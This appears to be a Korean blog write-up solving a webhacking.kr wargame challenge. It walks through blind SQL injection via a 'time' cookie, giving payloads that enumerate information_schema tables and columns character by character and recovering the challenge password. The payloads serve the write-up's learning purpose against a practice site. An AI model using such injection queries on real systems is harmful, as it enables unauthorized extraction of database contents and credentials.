페이지 소스보기를 통해 현재 시간이 주석처리 되어있다는 것과, admin.php 페이지가 있다는 것을 알 수 있었다.
admin.php 화면에서는 password를 입력하는 창이 나온다.
아마도 여기에 정답을 입력하는 것 같았다.
많은 값을 넣었을 때 'wrong password'라는 팝업창이 떴고 아무런 힌트가 될 만 한것들이 없었다.
cookie 값을 확인해보았다.
Time이라는 이름의 cookie가 있었고, 해당 값이 들어가있다는 것이 확인되었다.
cookie 값을 변경해보았다.
time 값을 1로 변경해주었더니 날짜가 있던 주석문의 날짜가 2070-01-01 09:00:01 로 바뀌는 것을 볼 수 있었다.
time 값을 100으로 변경해주었더니 날짜가 있던 주석문의 날짜가 2070-01-01 09:01:40 로 바뀌는 것을 볼 수 있었다.
이를 통해 time 쿠키 값이 저 날짜의 초 단위로 변경되어 들어간다는 것을 알 수 있었고,
여기에 SQL 공격을 통해 이 문제에 대한 힌트를 얻어야겠다고 생각했다.
최종적으로 Password를 구해야하므로 이 서버의 데이터베이스를 건드려보자는 생각이 들었다.
① 우선 데이터베이스 내에 몇 개의 테이블이 존재하는지 확인하기 위해 count 명령어를 사용한다.
time = (select count(table_name) from information_schema.tables where table_schema=database());
--> information_schema.tables에서 table_schema가 database() 인 table_name의 개수를 출력하라
※ INFORMATION_SCHEMA란 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다. INFORMATION_SCHEMA 데이터베이스 내의 모든 테이블은 읽기 전용이며, 단순히 조회만 가능하다. 즉, 읽기전용(Read-only)으로 사용자가 직접 수정하거나 관여할 수는 없다.
09:00:02 이므로 테이블 개수는 2개임을 알 수 있다.
② 전체 두 개의 테이블 중 첫 번째 테이블의 이름 길이를 확인하기 위해 length와 limit 명령어를 사용한다.
time = (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1);
# limit 0,1 = 첫 번째 부터 1개
09:00:13 이므로 첫 번째 테이블 명의 길이는 13임을 알 수 있다.
③ 같은 방법으로 두 번째 테이블 명의 길이를 확인해본다.
time = (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1);
09:00:03 이므로 두 번째 테이블 명의 길이는 3임을 알 수 있다.
④ 이제 길이를 알았으니 첫 번째 테이블부터 이름을 유추해볼 것이다.
첫 번째 테이블의 이름을 확인하기 위해 ascii와 substr 명령어를 사용한다.
time= (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1);
+) substr = 문자열 일부 추출
→ substr(store_name, 3) : 3번째 자리의 값부터 추출
→ substr(store_name, 2, 4) : 2번째 자리의 값부터 4개의 값 추출
+) ascii = 받은 인자값을 아스키 코드값으로 변환해주는 함수
09:01:37이므로 첫 번째 테이블의 이름 중 첫 번째 글자는 'a' 임을 유추할 수 있다.
(10진수 97 → 아스키 값 'a')
동일한 방식으로 (table_name, 1~13, 1)으로 확인한 결과
첫 번째 테이블 이름은 admin_area_pw 임을 알게 되었다.
⑤ 이제 두 번째 테이블의 이름을 확인해본다. 3글자니까 빠르게 끝날 것이다.
time= (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1);
09:01:48이므로 첫 번째 테이블의 이름 중 첫 번째 글자는 'l' 임을 유추할 수 있다.
(10진수 108 → 아스키 값 'l')
동일한 방식으로 (table_name, 1~3, 1)으로 확인한 결과
두 번째 테이블 이름은 log임을 알게 되었다.
⑥ 이제 첫 번째 테이블(admin_area_pw) 테이블에서 컬럼이 몇 개인지 확인한다.
time=(select count(column_name) from information_schema.columns where table_name="admin_area_pw");
09:00:01 이므로 컬럼 개수는 1개임을 알 수 있다.
⑦ 컬럼의 문자열 길이를 확인한다.
time=(select length(column_name) from information_schema.columns where table_name="admin_area_pw");
09:00:02 이므로 컬럼명은 2글자임을 알 수 있다.
⑧ 컬럼의 첫 번째 문자열을 확인한다.
time=(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name="admin_area_pw");
09:01:52이므로 첫 번째 테이블의 컬럼명의 첫 번째 글자는 'p' 임을 유추할 수 있다.
(10진수 112 → 아스키 값 'p')
위와 같은 방법으로 두 번째 문자열을 확인한 결과, 'w' 였다.
즉, 'admin_area_pw' 테이블의 컬럼은 하나 존재하며, 그 컬럼의 이름은 'pw'이다. 라는 것 까지 유추해 낸 것이다.
해당 컬럼 안에 답이 있을 거라는 생각에
⑨ 컬럼의 내용을 확인하기 위해 먼저 문자열 길이를 확인한다. (length 이용)
time=(select length(pw) from admin_area_pw);
09:00:17 이므로 pw(정답)는 17글자임을 알 수 있다.
17글자나 되네..
⑩ 본격적으로 정답을 위해 pw 컬럼의 내의 문자열을 확인한다.
time=(select ascii(substr(pw,1,1)) from admin_area_pw);
09:01:47이므로 pw의 첫 번째 글자는 'k' 임을 유추할 수 있다.
(10진수 107 → 아스키 값 'k')
동일한 방식으로 (pw, 1~17, 1)으로 확인한 결과
pw의 내용은 kudos_to_beistlab 임을 알게 되었다.
문제 풀이 후 느낀점
1. 코드를 짜는 연습을 해야겠다.
2. 데이터베이스 접근법을 알게되어 신기했다.
'WEB > WEB Hacking' 카테고리의 다른 글
[Webhacking.kr] Challenge(old) 3번 풀이 (0) | 2021.05.04 |
---|---|
[Webhacking.kr] Challenge(old)1번 풀이 (0) | 2021.05.04 |
Server - side Vulnerability ③ Business Logic (0) | 2021.03.09 |
Server - side Vulnerability ② File (0) | 2021.03.09 |
Server - side Vulnerability ① Injection (0) | 2021.03.08 |